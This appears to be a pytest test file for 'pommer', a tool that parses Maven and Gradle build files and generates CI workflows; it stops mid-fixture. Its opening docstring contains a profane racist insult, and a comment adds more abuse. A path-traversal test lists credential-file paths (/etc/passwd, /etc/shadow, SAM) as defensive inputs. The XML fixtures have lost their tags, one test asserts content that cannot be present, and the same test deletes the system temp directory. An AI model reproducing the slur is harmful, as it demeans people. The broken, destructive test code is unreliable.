#!/usr/bin/env python3
"""
Fix this shit!
Fucking assfucked shit wont pass fucking 36 Failed and 31 Passed fuck you , fix this you downy black monkey.
Requirements:
- pytest
- pytest-cov (for coverage)
- pytest-mock (for mocking)
- pytest-xdist (for parallel execution)
Run with: pytest test_pommer.py -v --cov=pommer --cov-report=html
"""
import pytest
import os
import sys
import tempfile
import shutil
import json
import xml.etree.ElementTree as ET
from pathlib import Path
from unittest.mock import patch, mock_open, MagicMock, call
from io import StringIO
# Add the script directory to path for imports
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
# Import the module under test
import pommer
class TestParseXMLUtils:
"""Test XML parsing utilities and edge cases"""
def test_xml_namespace_registration(self):
"""Test that XML namespace is properly registered"""
# This should not raise an exception
ET.register_namespace('', "http://maven.apache.org/POM/4.0.0")
assert True # If we reach here, namespace registration worked
def test_malformed_xml_handling(self):
"""Test handling of malformed XML files"""
malformed_xml = """
test
"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(malformed_xml)
f.flush()
result = pommer.parse_pom_xml(f.name)
assert result is None # Should handle malformed XML gracefully
os.unlink(f.name)
def test_empty_xml_file(self):
"""Test handling of empty XML files"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write("")
f.flush()
result = pommer.parse_pom_xml(f.name)
assert result is None
os.unlink(f.name)
def test_xml_with_bom(self):
"""Test handling of XML files with Byte Order Mark"""
xml_with_bom = '\ufeff\n' + """
test-bom
com.test
1.0.0
"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8-sig') as f:
f.write(xml_with_bom)
f.flush()
result = pommer.parse_pom_xml(f.name)
assert result is not None
assert result['artifact_id'] == 'test-bom'
os.unlink(f.name)
class TestParsePomXml:
"""Test Maven POM XML parsing functionality"""
def create_test_pom(self, content):
"""Helper to create temporary POM files"""
temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False)
temp_file.write(content)
temp_file.close()
return temp_file.name
def test_minimal_pom_parsing(self):
"""Test parsing of minimal POM file"""
minimal_pom = """
minimal-project
"""
pom_path = self.create_test_pom(minimal_pom)
result = pommer.parse_pom_xml(pom_path)
assert result is not None
assert result['artifact_id'] == 'minimal-project'
assert result['group_id'] == 'unknown' # Default value
assert result['version'] == 'unknown' # Default value
assert result['name'] == 'minimal-project' # Falls back to artifact_id
assert result['java_version'] == '17' # Default value
assert result['packaging'] == 'jar' # Default value
assert result['is_kotlin'] == False
assert result['build_system'] == 'maven'
os.unlink(pom_path)
def test_complete_pom_parsing(self):
"""Test parsing of complete POM file with all elements"""
complete_pom = """
com.example
complete-project
2.1.0
Complete Test Project
war
11
1.8.20
src/main/java
clean compile package
org.jetbrains.kotlin
kotlin-maven-plugin
org.jetbrains.kotlin
kotlin-stdlib-jdk8
"""
pom_path = self.create_test_pom(complete_pom)
result = pommer.parse_pom_xml(pom_path)
assert result is not None
assert result['artifact_id'] == 'complete-project'
assert result['group_id'] == 'com.example'
assert result['version'] == '2.1.0'
assert result['name'] == 'Complete Test Project'
assert result['java_version'] == '11'
assert result['packaging'] == 'war'
assert result['is_kotlin'] == True
assert result['kotlin_version'] == '1.8.20'
assert result['source_dir'] == 'src/main/java'
assert result['default_goal'] == 'clean compile package'
os.unlink(pom_path)
def test_kotlin_detection_via_plugin(self):
"""Test Kotlin detection via plugin presence"""
kotlin_plugin_pom = """
kotlin-plugin-test
org.jetbrains.kotlin
kotlin-maven-plugin
1.7.10
"""
pom_path = self.create_test_pom(kotlin_plugin_pom)
result = pommer.parse_pom_xml(pom_path)
assert result['is_kotlin'] == True
os.unlink(pom_path)
def test_kotlin_detection_via_dependency(self):
"""Test Kotlin detection via dependency presence"""
kotlin_dep_pom = """
kotlin-dep-test
org.jetbrains.kotlin
kotlin-stdlib
1.7.10
"""
pom_path = self.create_test_pom(kotlin_dep_pom)
result = pommer.parse_pom_xml(pom_path)
assert result['is_kotlin'] == True
os.unlink(pom_path)
def test_kotlin_detection_via_properties(self):
"""Test Kotlin detection via kotlin.version property"""
kotlin_prop_pom = """
kotlin-prop-test
1.8.0
"""
pom_path = self.create_test_pom(kotlin_prop_pom)
result = pommer.parse_pom_xml(pom_path)
assert result['is_kotlin'] == True
assert result['kotlin_version'] == '1.8.0'
os.unlink(pom_path)
def test_pom_with_parent(self):
"""Test POM with parent project inheritance"""
parent_pom = """
com.parent
parent-project
1.0.0
child-project
"""
pom_path = self.create_test_pom(parent_pom)
result = pommer.parse_pom_xml(pom_path)
assert result is not None
assert result['artifact_id'] == 'child-project'
# Should handle missing groupId/version gracefully
assert result['group_id'] == 'unknown'
assert result['version'] == 'unknown'
os.unlink(pom_path)
def test_nonexistent_pom_file(self):
"""Test handling of non-existent POM file"""
result = pommer.parse_pom_xml("/nonexistent/path/pom.xml")
assert result is None
def test_pom_permission_denied(self):
"""Test handling of POM file with no read permissions"""
pom_content = """
permission-test
"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(pom_content)
f.flush()
# Remove read permissions
os.chmod(f.name, 0o000)
result = pommer.parse_pom_xml(f.name)
assert result is None
# Restore permissions for cleanup
os.chmod(f.name, 0o644)
os.unlink(f.name)
def test_pom_with_comments_and_whitespace(self):
"""Test POM parsing with extensive comments and whitespace"""
commented_pom = """
commented-project
com.test
1.2.3
8
"""
pom_path = self.create_test_pom(commented_pom)
result = pommer.parse_pom_xml(pom_path)
assert result is not None
assert result['artifact_id'] == 'commented-project'
assert result['group_id'] == 'com.test'
assert result['version'] == '1.2.3'
assert result['java_version'] == '8'
os.unlink(pom_path)
class TestParseGradleFile:
"""Test Gradle build file parsing functionality"""
def create_test_gradle(self, content, is_kts=False):
"""Helper to create temporary Gradle files"""
suffix = '.gradle.kts' if is_kts else '.gradle'
temp_file = tempfile.NamedTemporaryFile(mode='w', suffix=suffix, delete=False)
temp_file.write(content)
temp_file.close()
return temp_file.name
def create_settings_gradle(self, content, gradle_dir, is_kts=False):
"""Helper to create settings.gradle file"""
filename = 'settings.gradle.kts' if is_kts else 'settings.gradle'
settings_path = os.path.join(gradle_dir, filename)
with open(settings_path, 'w') as f:
f.write(content)
return settings_path
def test_minimal_gradle_parsing(self):
"""Test parsing of minimal Gradle file"""
minimal_gradle = """
// Minimal Gradle build file
"""
gradle_path = self.create_test_gradle(minimal_gradle)
result = pommer.parse_gradle_file(gradle_path)
assert result is not None
assert result['group_id'] == 'unknown'
assert result['version'] == 'unknown'
assert result['java_version'] == '17' # Default
assert result['packaging'] == 'jar'
assert result['is_kotlin'] == False
assert result['build_system'] == 'gradle'
assert result['is_kotlin_dsl'] == False
os.unlink(gradle_path)
def test_complete_gradle_parsing(self):
"""Test parsing of complete Gradle file"""
complete_gradle = """
plugins {
id 'java'
id 'application'
id 'org.jetbrains.kotlin.jvm' version '1.8.20'
}
group = 'com.example'
version = '2.1.0'
sourceCompatibility = JavaVersion.VERSION_11
repositories {
mavenCentral()
}
dependencies {
implementation 'org.jetbrains.kotlin:kotlin-stdlib'
}
"""
gradle_dir = tempfile.mkdtemp()
gradle_path = os.path.join(gradle_dir, 'build.gradle')
with open(gradle_path, 'w') as f:
f.write(complete_gradle)
# Create settings.gradle
settings_content = "rootProject.name = 'complete-gradle-project'"
self.create_settings_gradle(settings_content, gradle_dir)
result = pommer.parse_gradle_file(gradle_path)
assert result is not None
assert result['artifact_id'] == 'complete-gradle-project'
assert result['group_id'] == 'com.example'
assert result['version'] == '2.1.0'
assert result['java_version'] == '11'
assert result['packaging'] == 'application'
assert result['is_kotlin'] == True
assert result['kotlin_version'] == '1.8.20'
shutil.rmtree(gradle_dir)
def test_kotlin_dsl_gradle_parsing(self):
"""Test parsing of Kotlin DSL Gradle file"""
kotlin_gradle = """
plugins {
kotlin("jvm") version "1.8.0"
application
}
group = "com.kotlin.example"
version = "1.0.0"
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
"""
gradle_path = self.create_test_gradle(kotlin_gradle, is_kts=True)
result = pommer.parse_gradle_file(gradle_path)
assert result is not None
assert result['is_kotlin_dsl'] == True
assert result['is_kotlin'] == True # Should detect Kotlin from DSL
assert result['group_id'] == 'com.kotlin.example'
assert result['version'] == '1.0.0'
assert result['java_version'] == '17' # From toolchain
os.unlink(gradle_path)
def test_gradle_java_version_detection_variants(self):
"""Test various ways Java version can be specified in Gradle"""
# Test sourceCompatibility with quotes
gradle1 = 'sourceCompatibility = "11"'
path1 = self.create_test_gradle(gradle1)
result1 = pommer.parse_gradle_file(path1)
assert result1['java_version'] == '11'
os.unlink(path1)
# Test sourceCompatibility with JavaVersion enum
gradle2 = 'sourceCompatibility = JavaVersion.VERSION_8'
path2 = self.create_test_gradle(gradle2)
result2 = pommer.parse_gradle_file(path2)
assert result2['java_version'] == '8'
os.unlink(path2)
# Test toolchain configuration
gradle3 = """
java {
toolchain {
languageVersion = JavaLanguageVersion.of(21)
}
}
"""
path3 = self.create_test_gradle(gradle3)
result3 = pommer.parse_gradle_file(path3)
assert result3['java_version'] == '21'
os.unlink(path3)
def test_gradle_settings_file_variants(self):
"""Test detection of project name from various settings file formats"""
gradle_dir = tempfile.mkdtemp()
gradle_path = os.path.join(gradle_dir, 'build.gradle')
with open(gradle_path, 'w') as f:
f.write('// Simple build file')
# Test settings.gradle with double quotes
settings1 = 'rootProject.name = "test-project-1"'
self.create_settings_gradle(settings1, gradle_dir)
result1 = pommer.parse_gradle_file(gradle_path)
assert result1['artifact_id'] == 'test-project-1'
# Clean up and test settings.gradle.kts
os.remove(os.path.join(gradle_dir, 'settings.gradle'))
settings2 = 'rootProject.name = "test-project-2"'
self.create_settings_gradle(settings2, gradle_dir, is_kts=True)
result2 = pommer.parse_gradle_file(gradle_path)
assert result2['artifact_id'] == 'test-project-2'
# Test fallback to directory name
os.remove(os.path.join(gradle_dir, 'settings.gradle.kts'))
result3 = pommer.parse_gradle_file(gradle_path)
assert result3['artifact_id'] == os.path.basename(gradle_dir)
shutil.rmtree(gradle_dir)
def test_gradle_kotlin_detection_methods(self):
"""Test various methods of Kotlin detection in Gradle"""
# Kotlin plugin with id()
gradle1 = 'id("kotlin") version "1.8.0"'
path1 = self.create_test_gradle(gradle1)
result1 = pommer.parse_gradle_file(path1)
assert result1['is_kotlin'] == True
os.unlink(path1)
# Kotlin plugin with full ID
gradle2 = 'id "org.jetbrains.kotlin.jvm" version "1.7.0"'
path2 = self.create_test_gradle(gradle2)
result2 = pommer.parse_gradle_file(path2)
assert result2['is_kotlin'] == True
os.unlink(path2)
# Kotlin version property
gradle3 = 'kotlin version "1.6.0"'
path3 = self.create_test_gradle(gradle3)
result3 = pommer.parse_gradle_file(path3)
assert result3['is_kotlin'] == True
assert result3['kotlin_version'] == '1.6.0'
os.unlink(path3)
def test_gradle_application_plugin_detection(self):
"""Test detection of application plugin"""
gradle_with_app = 'id("application")'
path = self.create_test_gradle(gradle_with_app)
result = pommer.parse_gradle_file(path)
assert result['packaging'] == 'application'
os.unlink(path)
def test_nonexistent_gradle_file(self):
"""Test handling of non-existent Gradle file"""
result = pommer.parse_gradle_file("/nonexistent/path/build.gradle")
assert result is None
def test_gradle_file_permission_denied(self):
"""Test handling of Gradle file with no read permissions"""
gradle_content = "// Test content"
with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
f.write(gradle_content)
f.flush()
# Remove read permissions
os.chmod(f.name, 0o000)
result = pommer.parse_gradle_file(f.name)
assert result is None
# Restore permissions for cleanup
os.chmod(f.name, 0o644)
os.unlink(f.name)
def test_gradle_complex_multiline_patterns(self):
"""Test parsing of complex multiline Gradle configurations"""
complex_gradle = """
plugins {
id 'java'
id 'org.jetbrains.kotlin.jvm' version '1.8.20'
}
java.toolchain {
languageVersion = JavaLanguageVersion.of(
17
)
}
group = 'com.complex.example'
version = '3.2.1'
"""
path = self.create_test_gradle(complex_gradle)
result = pommer.parse_gradle_file(path)
assert result is not None
assert result['group_id'] == 'com.complex.example'
assert result['version'] == '3.2.1'
assert result['java_version'] == '17'
assert result['is_kotlin'] == True
assert result['kotlin_version'] == '1.8.20'
os.unlink(path)
class TestWorkflowGeneration:
"""Test workflow generation functionality"""
def test_generate_maven_workflow_single_project(self):
"""Test Maven workflow generation for single project"""
maven_info = [{
"artifact_id": "test-project",
"group_id": "com.test",
"version": "1.0.0",
"name": "Test Project",
"java_version": "11",
"packaging": "jar",
"is_kotlin": False,
"kotlin_version": None,
"source_dir": None,
"default_goal": None,
"pom_path": "pom.xml",
"build_system": "maven"
}]
workflow = pommer.generate_maven_workflow(maven_info)
assert workflow is not None
assert "Maven Build" in workflow
assert "JDK 11" in workflow
assert "test-project" in workflow
assert "clean package" in workflow
assert "maven" in workflow.lower()
def test_generate_maven_workflow_multiple_projects(self):
"""Test Maven workflow generation for multiple projects"""
maven_infos = [
{
"artifact_id": "project1",
"name": "Project 1",
"java_version": "8",
"pom_path": "module1/pom.xml",
"default_goal": "clean compile",
"build_system": "maven"
},
{
"artifact_id": "project2",
"name": "Project 2",
"java_version": "17",
"pom_path": "module2/pom.xml",
"default_goal": None,
"build_system": "maven"
}
]
workflow = pommer.generate_maven_workflow(maven_infos)
assert workflow is not None
assert "JDK 17" in workflow # Should use highest Java version
assert "project1" in workflow
assert "project2" in workflow
assert "clean compile" in workflow # Custom goal
assert "clean package" in workflow # Default goal
def test_generate_maven_workflow_empty_list(self):
"""Test Maven workflow generation with empty project list"""
workflow = pommer.generate_maven_workflow([])
assert workflow is None
def test_generate_gradle_workflow_single_project(self):
"""Test Gradle workflow generation for single project"""
gradle_info = [{
"artifact_id": "gradle-test",
"name": "Gradle Test",
"java_version": "11",
"gradle_path": "build.gradle",
"is_kotlin": True,
"kotlin_version": "1.8.0",
"build_system": "gradle"
}]
workflow = pommer.generate_gradle_workflow(gradle_info)
assert workflow is not None
assert "Gradle Build" in workflow
assert "JDK 11" in workflow
assert "gradle-test" in workflow
assert "gradlew" in workflow or "gradle" in workflow
def test_generate_gradle_workflow_with_wrapper(self):
"""Test Gradle workflow generation with wrapper detection"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, "build.gradle")
gradlew_path = os.path.join(temp_dir, "gradlew")
# Create dummy files
with open(gradle_path, 'w') as f:
f.write("// test")
with open(gradlew_path, 'w') as f:
f.write("#!/bin/bash")
gradle_info = [{
"artifact_id": "wrapper-test",
"name": "Wrapper Test",
"java_version": "17",
"gradle_path": gradle_path,
"build_system": "gradle"
}]
workflow = pommer.generate_gradle_workflow(gradle_info)
assert workflow is not None
assert "./gradlew" in workflow # Should detect wrapper
shutil.rmtree(temp_dir)
def test_generate_gradle_workflow_without_wrapper(self):
"""Test Gradle workflow generation without wrapper"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, "build.gradle")
# Create gradle file but no wrapper
with open(gradle_path, 'w') as f:
f.write("// test")
gradle_info = [{
"artifact_id": "no-wrapper-test",
"name": "No Wrapper Test",
"java_version": "11",
"gradle_path": gradle_path,
"build_system": "gradle"
}]
workflow = pommer.generate_gradle_workflow(gradle_info)
assert workflow is not None
assert "gradle build" in workflow # Should use system gradle
shutil.rmtree(temp_dir)
def test_generate_gradle_workflow_empty_list(self):
"""Test Gradle workflow generation with empty project list"""
workflow = pommer.generate_gradle_workflow([])
assert workflow is None
class TestBuildScriptGeneration:
"""Test build script generation functionality"""
def test_generate_build_script_maven_only(self):
"""Test build script generation for Maven-only projects"""
maven_projects = [{
"name": "Maven Project",
"pom_path": "pom.xml",
"build_system": "maven"
}]
script = pommer.generate_build_script(maven_projects)
assert script is not None
assert "mvn" in script
assert "gradle" in script
assert "Maven Project" in script
assert "Gradle Project" in script
shutil.rmtree(tempfile.tempdir)
def test_generate_build_script_empty_projects(self):
"""Test build script generation with empty project list"""
script = pommer.generate_build_script([])
assert script is not None
assert "Universal build script" in script
class TestFileDiscovery:
"""Test file discovery functionality"""
def test_find_pom_files_single_level(self):
"""Test finding POM files in single directory"""
temp_dir = tempfile.mkdtemp()
pom_path = os.path.join(temp_dir, "pom.xml")
with open(pom_path, 'w') as f:
f.write("")
found_poms = pommer.find_pom_files(temp_dir)
assert len(found_poms) == 1
assert pom_path in found_poms
shutil.rmtree(temp_dir)
def test_find_pom_files_nested(self):
"""Test finding POM files in nested directories"""
temp_dir = tempfile.mkdtemp()
# Create nested structure
module1_dir = os.path.join(temp_dir, "module1")
module2_dir = os.path.join(temp_dir, "module2", "submodule")
os.makedirs(module1_dir)
os.makedirs(module2_dir)
# Create POM files
root_pom = os.path.join(temp_dir, "pom.xml")
module1_pom = os.path.join(module1_dir, "pom.xml")
module2_pom = os.path.join(module2_dir, "pom.xml")
for pom_path in [root_pom, module1_pom, module2_pom]:
with open(pom_path, 'w') as f:
f.write("")
found_poms = pommer.find_pom_files(temp_dir)
assert len(found_poms) == 3
assert all(pom in found_poms for pom in [root_pom, module1_pom, module2_pom])
shutil.rmtree(temp_dir)
def test_find_pom_files_no_matches(self):
"""Test finding POM files when none exist"""
temp_dir = tempfile.mkdtemp()
# Create some non-POM files
with open(os.path.join(temp_dir, "build.gradle"), 'w') as f:
f.write("// gradle")
with open(os.path.join(temp_dir, "README.md"), 'w') as f:
f.write("# README")
found_poms = pommer.find_pom_files(temp_dir)
assert len(found_poms) == 0
shutil.rmtree(temp_dir)
def test_find_gradle_files_both_types(self):
"""Test finding both .gradle and .gradle.kts files"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, "build.gradle")
gradle_kts_path = os.path.join(temp_dir, "build.gradle.kts")
with open(gradle_path, 'w') as f:
f.write("// gradle")
with open(gradle_kts_path, 'w') as f:
f.write("// gradle kts")
found_gradle = pommer.find_gradle_files(temp_dir)
assert len(found_gradle) == 2
assert gradle_path in found_gradle
assert gradle_kts_path in found_gradle
shutil.rmtree(temp_dir)
def test_find_gradle_files_nested(self):
"""Test finding Gradle files in nested directories"""
temp_dir = tempfile.mkdtemp()
# Create nested structure
app_dir = os.path.join(temp_dir, "app")
lib_dir = os.path.join(temp_dir, "lib", "core")
os.makedirs(app_dir)
os.makedirs(lib_dir)
# Create Gradle files
root_gradle = os.path.join(temp_dir, "build.gradle")
app_gradle = os.path.join(app_dir, "build.gradle.kts")
lib_gradle = os.path.join(lib_dir, "build.gradle")
for gradle_path in [root_gradle, app_gradle, lib_gradle]:
with open(gradle_path, 'w') as f:
f.write("// gradle build")
found_gradle = pommer.find_gradle_files(temp_dir)
assert len(found_gradle) == 3
assert all(gradle in found_gradle for gradle in [root_gradle, app_gradle, lib_gradle])
shutil.rmtree(temp_dir)
def test_find_files_nonexistent_directory(self):
"""Test file discovery in non-existent directory"""
found_poms = pommer.find_pom_files("/nonexistent/directory")
found_gradle = pommer.find_gradle_files("/nonexistent/directory")
assert len(found_poms) == 0
assert len(found_gradle) == 0
class TestMainFunction:
"""Test main function and command-line interface"""
@patch('sys.argv')
@patch('pommer.find_pom_files')
@patch('pommer.find_gradle_files')
@patch('pommer.parse_pom_xml')
@patch('pommer.parse_gradle_file')
def test_main_with_default_args(self, mock_parse_gradle, mock_parse_pom,
mock_find_gradle, mock_find_pom, mock_argv):
"""Test main function with default arguments"""
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
mock_argv.__len__.return_value = 1
mock_find_pom.return_value = ['pom.xml']
mock_find_gradle.return_value = ['build.gradle']
mock_parse_pom.return_value = {
"artifact_id": "test-maven",
"name": "Test Maven",
"java_version": "11",
"build_system": "maven",
"pom_path": "pom.xml"
}
mock_parse_gradle.return_value = {
"artifact_id": "test-gradle",
"name": "Test Gradle",
"java_version": "17",
"build_system": "gradle",
"gradle_path": "build.gradle"
}
with patch('builtins.open', mock_open()) as mock_file, \
patch('os.makedirs'), \
patch('os.chmod'), \
patch('builtins.print') as mock_print:
# This should not raise an exception
try:
pommer.main()
except SystemExit:
pass # argparse calls sys.exit, which is expected
@patch('sys.argv')
def test_main_with_specific_pom(self, mock_argv):
"""Test main function with specific POM file"""
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--specific-pom', 'test.xml'][x]
mock_argv.__len__.return_value = 3
with patch('pommer.parse_pom_xml') as mock_parse, \
patch('pommer.find_gradle_files') as mock_find_gradle, \
patch('builtins.open', mock_open()), \
patch('os.makedirs'), \
patch('os.chmod'), \
patch('builtins.print'):
mock_parse.return_value = {
"artifact_id": "specific-test",
"name": "Specific Test",
"java_version": "8",
"build_system": "maven",
"pom_path": "test.xml"
}
mock_find_gradle.return_value = []
try:
pommer.main()
except SystemExit:
pass
@patch('sys.argv')
def test_main_with_json_output(self, mock_argv):
"""Test main function with JSON output enabled"""
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--output-json'][x]
mock_argv.__len__.return_value = 2
with patch('pommer.find_pom_files') as mock_find_pom, \
patch('pommer.find_gradle_files') as mock_find_gradle, \
patch('pommer.parse_pom_xml') as mock_parse_pom, \
patch('builtins.open', mock_open()) as mock_file, \
patch('os.makedirs'), \
patch('os.chmod'), \
patch('json.dump') as mock_json_dump, \
patch('builtins.print'):
mock_find_pom.return_value = ['pom.xml']
mock_find_gradle.return_value = []
mock_parse_pom.return_value = {
"artifact_id": "json-test",
"build_system": "maven"
}
try:
pommer.main()
mock_json_dump.assert_called_once()
except SystemExit:
pass
@patch('sys.argv')
def test_main_no_projects_found(self, mock_argv):
"""Test main function when no projects are found"""
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
mock_argv.__len__.return_value = 1
with patch('pommer.find_pom_files') as mock_find_pom, \
patch('pommer.find_gradle_files') as mock_find_gradle, \
patch('builtins.print') as mock_print:
mock_find_pom.return_value = []
mock_find_gradle.return_value = []
try:
pommer.main()
# Should print error message
mock_print.assert_any_call("No pom.xml or build.gradle files found in .")
except SystemExit:
pass
@patch('sys.argv')
def test_main_parsing_failures(self, mock_argv):
"""Test main function when all parsing fails"""
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
mock_argv.__len__.return_value = 1
with patch('pommer.find_pom_files') as mock_find_pom, \
patch('pommer.find_gradle_files') as mock_find_gradle, \
patch('pommer.parse_pom_xml') as mock_parse_pom, \
patch('pommer.parse_gradle_file') as mock_parse_gradle, \
patch('builtins.print') as mock_print:
mock_find_pom.return_value = ['pom.xml']
mock_find_gradle.return_value = ['build.gradle']
mock_parse_pom.return_value = None # Parsing failed
mock_parse_gradle.return_value = None # Parsing failed
try:
pommer.main()
mock_print.assert_any_call("No valid project files could be parsed")
except SystemExit:
pass
class TestEdgeCasesAndErrorHandling:
"""Test edge cases and error handling scenarios"""
def test_unicode_content_handling(self):
"""Test handling of files with Unicode content"""
unicode_pom = """
unicode-tëst-prøjëct
Ùnïcödë Tëst Prøjëct 🚀
com.tëst.ünicöde
"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8') as f:
f.write(unicode_pom)
f.flush()
result = pommer.parse_pom_xml(f.name)
assert result is not None
assert result['artifact_id'] == 'unicode-tëst-prøjëct'
assert 'Ùnïcödë' in result['name']
os.unlink(f.name)
def test_very_large_file_handling(self):
"""Test handling of very large files"""
# Create a large POM with many dependencies
large_pom_parts = [
"""
large-project
"""
]
# Add 1000 dependencies
for i in range(1000):
large_pom_parts.append(f"""
com.test.dep{i}
dependency-{i}
1.0.{i}
""")
large_pom_parts.append("""
""")
large_pom = ''.join(large_pom_parts)
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(large_pom)
f.flush()
# Should handle large files without issues
result = pommer.parse_pom_xml(f.name)
assert result is not None
assert result['artifact_id'] == 'large-project'
os.unlink(f.name)
def test_circular_dependency_in_settings(self):
"""Test handling of circular references in settings"""
temp_dir = tempfile.mkdtemp()
# Create build.gradle
gradle_path = os.path.join(temp_dir, 'build.gradle')
with open(gradle_path, 'w') as f:
f.write('// Test gradle')
# Create settings.gradle with complex content
settings_path = os.path.join(temp_dir, 'settings.gradle')
with open(settings_path, 'w') as f:
f.write('''
rootProject.name = "complex-project"
include "subproject1"
include "subproject2"
// Some complex Gradle script
gradle.beforeProject { project ->
project.ext.buildTimestamp = new Date().format('yyyy-MM-dd HH:mm:ss')
}
''')
result = pommer.parse_gradle_file(gradle_path)
assert result is not None
assert result['artifact_id'] == 'complex-project'
shutil.rmtree(temp_dir)
def test_malformed_regex_patterns(self):
"""Test handling of content that might break regex patterns"""
tricky_gradle = '''
// This content might break regex parsing
group = "com.test.regex[special*chars+here]"
version = "1.0.0-SNAPSHOT+build.123"
// Multiline strings that could confuse parsers
description = """
This is a multiline description
with "quotes" and 'apostrophes'
and sourceCompatibility = "fake"
"""
// The real configuration
sourceCompatibility = JavaVersion.VERSION_11
'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
f.write(tricky_gradle)
f.flush()
result = pommer.parse_gradle_file(f.name)
assert result is not None
# Should extract the real Java version, not the fake one in comments
assert result['java_version'] == '11'
os.unlink(f.name)
def test_path_traversal_prevention(self):
"""Test that path traversal attempts are handled safely"""
# This test ensures the script doesn't have directory traversal vulnerabilities
dangerous_paths = [
"../../../etc/passwd",
"..\\..\\windows\\system32\\config\\sam",
"/etc/shadow",
"../../../../../../../../etc/hosts"
]
for dangerous_path in dangerous_paths:
result_pom = pommer.parse_pom_xml(dangerous_path)
result_gradle = pommer.parse_gradle_file(dangerous_path)
# Should return None for non-existent files, not crash
assert result_pom is None
assert result_gradle is None
def test_memory_exhaustion_protection(self):
"""Test protection against memory exhaustion attacks"""
# Create a file with extremely nested XML (potential billion laughs attack)
nested_xml = '\n'
nested_xml += '\n'
for i in range(10): # Limit to prevent actual DoS during testing
nested_xml += f'\n'
nested_xml += ']>\n'
nested_xml += '&lol9;'
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(nested_xml)
f.flush()
# Should handle malformed/dangerous XML gracefully
result = pommer.parse_pom_xml(f.name)
# Either None (safe parsing failure) or valid result
assert result is None or isinstance(result, dict)
os.unlink(f.name)
class TestIntegrationScenarios:
# Fuck, who wrote this shit it seems like this was written by a fucking monkey?
"""Test realistic integration scenarios"""
def test_real_world_spring_boot_project(self):
"""Test parsing a realistic Spring Boot Maven project"""
spring_boot_pom = """
4.0.0
org.springframework.boot
spring-boot-starter-parent
3.2.0
com.example
spring-boot-demo
0.0.1-SNAPSHOT
Spring Boot Demo
Demo project for Spring Boot
jar
17
1.9.20
org.springframework.boot
spring-boot-starter-web
org.jetbrains.kotlin
kotlin-stdlib-jdk8
src/main/kotlin
org.springframework.boot
spring-boot-maven-plugin
org.jetbrains.kotlin
kotlin-maven-plugin
"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(spring_boot_pom)
f.flush()
result = pommer.parse_pom_xml(f.name)
assert result is not None
assert result['artifact_id'] == 'spring-boot-demo'
assert result['group_id'] == 'com.example'
assert result['version'] == '0.0.1-SNAPSHOT'
assert result['java_version'] == '17'
assert result['is_kotlin'] == True
assert result['kotlin_version'] == '1.9.20'
assert result['source_dir'] == 'src/main/kotlin'
os.unlink(f.name)
def test_real_world_android_gradle_project(self):
"""Test parsing a realistic Android Gradle project"""
android_gradle = """
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
android {
namespace 'com.example.myapp'
compileSdk 34
defaultConfig {
applicationId "com.example.myapp"
minSdk 24
targetSdk 34
versionCode 1
versionName "1.0"
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = '1.8'
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.12.0'
implementation 'androidx.appcompat:appcompat:1.6.1'
}
"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, 'build.gradle')
with open(gradle_path, 'w') as f:
f.write(android_gradle)
# Create settings.gradle
settings_content = 'rootProject.name = "MyAndroidApp"'
with open(os.path.join(temp_dir, 'settings.gradle'), 'w') as f:
f.write(settings_content)
result = pommer.parse_gradle_file(gradle_path)
assert result is not None
assert result['artifact_id'] == 'MyAndroidApp'
assert result['is_kotlin'] == True
assert result['java_version'] == '17' # Default since no explicit sourceCompatibility
shutil.rmtree(temp_dir)
def test_multi_module_maven_project(self):
"""Test a realistic multi-module Maven project"""
temp_dir = tempfile.mkdtemp()
# Root POM
root_pom = """
com.example
multi-module-parent
1.0.0
pom
core
web
api
11
"""
# Core module POM
core_dir = os.path.join(temp_dir, 'core')
os.makedirs(core_dir)
core_pom = """
com.example
multi-module-parent
1.0.0
core
Core Module
"""
# Web module POM
web_dir = os.path.join(temp_dir, 'web')
os.makedirs(web_dir)
web_pom = """
com.example
multi-module-parent
1.0.0
web
Web Module
war
"""
# Write all POM files
with open(os.path.join(temp_dir, 'pom.xml'), 'w') as f:
f.write(root_pom)
with open(os.path.join(core_dir, 'pom.xml'), 'w') as f:
f.write(core_pom)
with open(os.path.join(web_dir, 'pom.xml'), 'w') as f:
f.write(web_pom)
# Find and parse all POMs
found_poms = pommer.find_pom_files(temp_dir)
assert len(found_poms) == 3
parsed_projects = []
for pom_path in found_poms:
result = pommer.parse_pom_xml(pom_path)
if result:
parsed_projects.append(result)
assert len(parsed_projects) == 3
# Verify each module
artifacts = {p['artifact_id'] for p in parsed_projects}
assert 'multi-module-parent' in artifacts
assert 'core' in artifacts
assert 'web' in artifacts
# Check packaging types
packaging_types = {p['artifact_id']: p['packaging'] for p in parsed_projects}
assert packaging_types['multi-module-parent'] == 'pom'
assert packaging_types['core'] == 'jar' # default
assert packaging_types['web'] == 'war'
shutil.rmtree(temp_dir)
@pytest.fixture
def mock_filesystem():
